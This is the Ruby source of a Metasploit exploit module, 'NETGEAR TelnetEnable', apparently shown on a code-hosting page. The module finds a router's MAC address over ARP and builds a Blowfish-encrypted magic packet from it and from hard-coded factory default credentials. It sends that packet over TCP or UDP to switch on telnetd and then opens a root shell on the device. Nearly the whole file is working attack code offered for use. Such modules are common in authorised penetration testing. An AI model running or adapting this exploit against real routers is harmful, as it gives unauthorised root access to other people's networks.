253 lines
6.5 KiB
Ruby
253 lines
6.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::Udp
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::Capture
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'NETGEAR TelnetEnable',
|
|
'Description' => %q{
|
|
This module sends a magic packet to a NETGEAR device to enable telnetd.
|
|
Upon successful connect, a root shell should be presented to the user.
|
|
},
|
|
'Author' => [
|
|
'Paul Gebheim', # Python PoC (TCP)
|
|
'insanid', # Python PoC (UDP)
|
|
'wvu', # Metasploit module
|
|
],
|
|
'References' => [
|
|
['URL', 'https://wiki.openwrt.org/toh/netgear/telnet.console'],
|
|
['URL', 'https://github.com/cyanitol/netgear-telenetenable'],
|
|
['URL', 'https://github.com/insanid/netgear-telenetenable']
|
|
],
|
|
'DisclosureDate' => '2009-10-30', # Python PoC (TCP)
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Privileged' => true,
|
|
'Payload' => {
|
|
'Compat' => {
|
|
'PayloadType' => 'cmd_interact',
|
|
'ConnectionType' => 'find'
|
|
}
|
|
},
|
|
'Targets' => [
|
|
['Automatic (detect TCP or UDP)',
|
|
proto: :auto
|
|
],
|
|
['TCP (typically older devices)',
|
|
proto: :tcp,
|
|
username: 'Gearguy',
|
|
password: 'Geardog'
|
|
],
|
|
['UDP (typically newer devices)',
|
|
proto: :udp,
|
|
username: 'admin',
|
|
password: 'password'
|
|
]
|
|
],
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_options([
|
|
Opt::RPORT(23),
|
|
OptString.new('MAC', [false, 'MAC address of device']),
|
|
OptString.new('USERNAME', [false, 'Username on device']),
|
|
OptString.new('PASSWORD', [false, 'Password on device'])
|
|
])
|
|
end
|
|
|
|
def post_auth?
|
|
true
|
|
end
|
|
|
|
def default_credential?
|
|
true
|
|
end
|
|
|
|
def check
|
|
# Run through protocol detection
|
|
detect_proto
|
|
|
|
# This is a gamble, but it's the closest we can get
|
|
if @proto == :tcp
|
|
CheckCode::Detected
|
|
else
|
|
CheckCode::Unknown
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
# Try to do the exploit unless telnetd is detected
|
|
@do_exploit = true
|
|
|
|
# Detect TCP or UDP and presence of telnetd
|
|
@proto = target[:proto]
|
|
detect_proto if @proto == :auto
|
|
|
|
if @do_exploit
|
|
# Use supplied or ARP-cached MAC address
|
|
configure_mac
|
|
# Use supplied or default creds
|
|
configure_creds
|
|
# Shell it
|
|
exploit_telnetenabled
|
|
end
|
|
|
|
# Connect to the shell
|
|
connect_telnetd
|
|
end
|
|
|
|
def detect_proto
|
|
begin
|
|
connect
|
|
|
|
res = begin
|
|
sock.get_once || ''
|
|
rescue EOFError
|
|
''
|
|
end
|
|
|
|
# telnetenabled returns no data, unlike telnetd
|
|
if res.length == 0
|
|
print_good('Detected telnetenabled on TCP')
|
|
else
|
|
print_good('Detected telnetd on TCP')
|
|
@do_exploit = false
|
|
end
|
|
|
|
@proto = :tcp
|
|
# It's UDP... and we may not get an ICMP error...
|
|
rescue Rex::ConnectionError
|
|
print_good('Detected telnetenabled on UDP')
|
|
@proto = :udp
|
|
ensure
|
|
disconnect
|
|
end
|
|
end
|
|
|
|
def configure_mac
|
|
@mac = datastore['MAC']
|
|
|
|
return if @mac
|
|
|
|
print_status('Attempting to discover MAC address via ARP')
|
|
|
|
begin
|
|
open_pcap
|
|
@mac = lookup_eth(rhost).first
|
|
rescue RuntimeError => e
|
|
fail_with(Failure::BadConfig, "#{e}. Are you root?")
|
|
ensure
|
|
close_pcap
|
|
end
|
|
|
|
if @mac
|
|
print_good("Found MAC address #{@mac}")
|
|
else
|
|
fail_with(Failure::Unknown, 'Could not find MAC address')
|
|
end
|
|
end
|
|
|
|
def configure_creds
|
|
@username = datastore['USERNAME'] || target[:username]
|
|
@password = datastore['PASSWORD'] || target[:password]
|
|
|
|
# Try to use default creds if no creds were found
|
|
unless @username && @password
|
|
tgt = targets.find { |t| t[:proto] == @proto }
|
|
@username = tgt[:username]
|
|
@password = tgt[:password]
|
|
end
|
|
|
|
print_good("Using creds #{@username}:#{@password}")
|
|
end
|
|
|
|
def exploit_telnetenabled
|
|
print_status('Generating magic packet')
|
|
payload = magic_packet(@mac, @username, @password)
|
|
|
|
begin
|
|
print_status("Connecting to telnetenabled via #{@proto.upcase}")
|
|
@proto == :tcp ? connect : connect_udp
|
|
print_status('Sending magic packet')
|
|
@proto == :tcp ? sock.put(payload) : udp_sock.put(payload)
|
|
rescue Rex::ConnectionError
|
|
fail_with(Failure::Disconnected, 'Something happened mid-connection!')
|
|
ensure
|
|
print_status('Disconnecting from telnetenabled')
|
|
@proto == :tcp ? disconnect : disconnect_udp
|
|
end
|
|
|
|
# Wait a couple seconds for telnetd to come up
|
|
print_status('Waiting for telnetd')
|
|
sleep(2)
|
|
end
|
|
|
|
def connect_telnetd
|
|
print_status('Connecting to telnetd')
|
|
connect
|
|
handler(sock)
|
|
end
|
|
|
|
# NOTE: This is almost a verbatim copy of the Python PoC
|
|
def magic_packet(mac, username, password)
|
|
mac = mac.gsub(/[:-]/, '').upcase
|
|
|
|
if mac.length != 12
|
|
fail_with(Failure::BadConfig, 'MAC must be 12 bytes without : or -')
|
|
end
|
|
just_mac = mac.ljust(0x10, "\x00")
|
|
|
|
if username.length > 0x10
|
|
fail_with(Failure::BadConfig, 'USERNAME must be <= 16 bytes')
|
|
end
|
|
just_username = username.ljust(0x10, "\x00")
|
|
|
|
if @proto == :tcp
|
|
if password.length > 0x10
|
|
fail_with(Failure::BadConfig, 'PASSWORD must be <= 16 bytes')
|
|
end
|
|
just_password = password.ljust(0x10, "\x00")
|
|
elsif @proto == :udp
|
|
# Thanks to Roberto Frenna for the reserved field analysis
|
|
if password.length > 0x21
|
|
fail_with(Failure::BadConfig, 'PASSWORD must be <= 33 bytes')
|
|
end
|
|
just_password = password.ljust(0x21, "\x00")
|
|
end
|
|
|
|
cleartext = (just_mac + just_username + just_password).ljust(0x70, "\x00")
|
|
md5_key = Rex::Text.md5_raw(cleartext)
|
|
|
|
payload = byte_swap((md5_key + cleartext).ljust(0x80, "\x00"))
|
|
|
|
secret_key = 'AMBIT_TELNET_ENABLE+' + password
|
|
|
|
byte_swap(blowfish_encrypt(secret_key, payload))
|
|
end
|
|
|
|
def blowfish_encrypt(secret_key, payload)
|
|
cipher = OpenSSL::Cipher.new('bf-ecb').encrypt
|
|
|
|
cipher.padding = 0
|
|
cipher.key_len = secret_key.length
|
|
cipher.key = secret_key
|
|
|
|
cipher.update(payload) + cipher.final
|
|
end
|
|
|
|
def byte_swap(data)
|
|
data.unpack('N*').pack('V*')
|
|
end
|
|
|
|
end
|